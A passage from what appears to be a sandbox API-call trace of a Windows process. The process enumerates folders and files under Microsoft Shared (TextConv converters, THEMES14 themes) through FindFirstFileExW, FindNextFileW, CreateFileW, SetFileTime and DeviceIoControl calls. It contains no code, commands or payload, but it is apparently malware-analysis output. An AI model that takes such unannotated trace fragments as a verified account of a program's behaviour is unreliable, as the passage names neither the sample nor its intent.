RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3648) returned 1 [0054.825] NtClose (Handle=0x16c) returned 0x0 [0054.825] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0054.825] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0054.825] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.825] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.825] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0054.825] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.825] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0054.825] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xcf518520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x23d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCONV97.DLL", cAlternateFileName="")) returned 1 [0054.825] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.825] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.825] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.825] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.825] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.826] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.826] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aeaee00, ftCreationTime.dwHighDateTime=0x1ca9122, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1aeaee00, ftLastWriteTime.dwHighDateTime=0x1ca9122, nFileSizeHigh=0x0, nFileSizeLow=0x8f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECOVR32.CNV", cAlternateFileName="")) returned 1 [0054.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.826] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.826] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9eea98 [0054.826] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ead70 [0054.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f2778 [0054.826] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.826] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f938f00, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f938f00, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0xdfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wks9Pxy.cnv", cAlternateFileName="")) returned 1 [0054.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.826] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.826] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ead90 [0054.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3660 [0054.826] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.826] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ce200, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xc226ea20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56ce200, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x30170, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT532.CNV", cAlternateFileName="")) returned 1 [0054.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.826] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.826] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eadb0 [0054.827] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3768 [0054.827] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.827] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 1 [0054.827] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.827] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.827] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.827] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.827] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.827] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eadd0 [0054.827] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3870 [0054.827] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.827] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 0 [0054.827] GetLastError () returned 0x12 [0054.827] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0054.827] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0054.827] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.827] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0054.827] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.827] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0054.828] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0054.828] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0054.828] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9f5648 [0054.828] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9f5648, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9f5648, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0054.828] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f5648) returned 1 [0054.828] NtClose (Handle=0x16c) returned 0x0 [0054.828] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.828] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.828] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.828] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0054.828] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0054.828] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.829] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0054.829] GetLastError () returned 0x12 [0054.829] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0054.829] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0054.829] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.829] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0054.829] GetLastError () returned 0x12 [0054.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0054.829] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0054.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.829] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xcf518520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x23d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCONV97.DLL", cAlternateFileName="")) returned 1 [0054.829] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aeaee00, ftCreationTime.dwHighDateTime=0x1ca9122, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1aeaee00, ftLastWriteTime.dwHighDateTime=0x1ca9122, nFileSizeHigh=0x0, nFileSizeLow=0x8f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECOVR32.CNV", cAlternateFileName="")) returned 1 [0054.829] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f938f00, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f938f00, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0xdfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wks9Pxy.cnv", cAlternateFileName="")) returned 1 [0054.829] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ce200, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xc226ea20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56ce200, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x30170, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT532.CNV", cAlternateFileName="")) returned 1 [0054.829] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 1 [0054.829] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 0 [0054.829] GetLastError () returned 0x12 [0054.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.829] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0054.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9eea98) returned 1 [0054.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0054.830] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES14", cAlternateFileName="")) returned 1 [0054.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0054.830] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0054.834] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0054.834] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0054.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9f5648 [0054.834] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9f5648, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9f5648, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0054.834] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f5648) returned 1 [0054.834] NtClose (Handle=0x160) returned 0x0 [0054.834] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0054.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0054.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.835] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0054.839] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.859] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON", cAlternateFileName="")) returned 1 [0054.859] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC", cAlternateFileName="")) returned 1 [0054.859] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS", cAlternateFileName="")) returned 1 [0054.859] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS", cAlternateFileName="")) returned 1 [0054.859] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM", cAlternateFileName="")) returned 1 [0054.859] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 